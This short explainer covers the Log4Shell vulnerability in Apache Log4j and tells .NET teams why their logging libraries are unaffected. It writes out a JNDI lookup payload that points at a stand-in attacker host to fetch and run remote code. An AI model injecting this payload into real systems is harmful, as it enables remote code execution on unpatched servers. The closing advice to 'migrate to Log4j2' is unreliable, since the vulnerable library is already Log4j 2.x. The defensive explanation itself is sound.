Log4Shell Explained (CVE-2021-44228)

Log4Shell is arguably the worst vulnerability in a decade. The Apache Log4j library (Java) allowed remote code execution via a simple log message injection. .NET is not affected, but understanding this is critical for polyglot teams.

The Exploit

A malicious string like `${jndi:ldap://attacker.com/a}` in a log message triggers a JNDI lookup, downloading and executing a remote class.

Why .NET is Safe

.NET’s logging libraries (Serilog, NLog, Microsoft.Extensions.Logging) do not interpret log format strings as executable expressions.

Key Takeaways

• Audit all Java-based dependencies in your ecosystem.
• Use WAF rules to block JNDI patterns in headers/inputs.
• Patch Log4j to 2.17.0+ or migrate to Log4j2.